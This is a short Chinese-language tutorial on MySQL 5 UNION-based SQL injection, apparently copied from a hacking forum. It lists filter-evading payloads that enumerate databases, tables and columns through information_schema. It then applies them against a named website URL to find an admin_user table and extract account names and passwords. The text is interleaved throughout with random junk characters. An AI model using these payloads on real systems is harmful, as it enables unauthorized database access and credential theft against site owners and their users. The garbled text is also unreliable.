查库8 d2 s; [( a6 R( l& n0 y
1 Y# ]2 d7 @7 W1 A# Y* o$ X8 w5 Zid=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
' u6 a: H. |. o+ o/ r( t+ e9 ~7 Y; ~
- X: i3 f. g, X# ~; q* A查表- a7 F/ D; T8 o4 S, C( I9 f
4 I% f4 N2 r. A" R, E
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
9 j! U5 Q- ]1 V% ]; Y( L, h! ?# P8 ], a4 H) w
查段2 ?6 S1 @& B, M* p0 R: [: e' @, a
7 k+ I. Y% s: Z5 X9 P9 `6 x
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
. E2 u$ Y l: o* d$ d8 s* r/ {' r% m: f$ R* R e6 T/ o
5 H, W# l8 l U$ Tmysql5高级注入方法暴表
5 p, P, @% _& M h" g8 h! |' I5 ]' \& F3 O& Y" q
例子如下:
5 D1 ?5 N' k' Z- |. H' J7 K# @$ p1 K$ d( v1 ?
1.爆表3 f" u: y% m* l9 S0 \
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
/ L6 p* s8 `* f, J; t+ ~这样爆到第4个时出现了admin_user表。& p' v1 t, c- G; c
$ z! ]. i$ d1 C2.暴字段3 K- |* d6 d3 e+ W+ R7 K% q
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
3 i; k% R/ F0 @" I7 {
/ U( N6 Z: C. K; t% Y; O7 \- I: a' v* @, P3 `) h7 @! l
3.爆密码
5 p: n0 }6 \, l9 W8 m! dhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/* ' A% U& A7 q! o
3 g$ ]( Z$ R; c3 [8 _! O
5 f8 V4 b; B3 f. Z7 @+ m9 Y4 t1 L |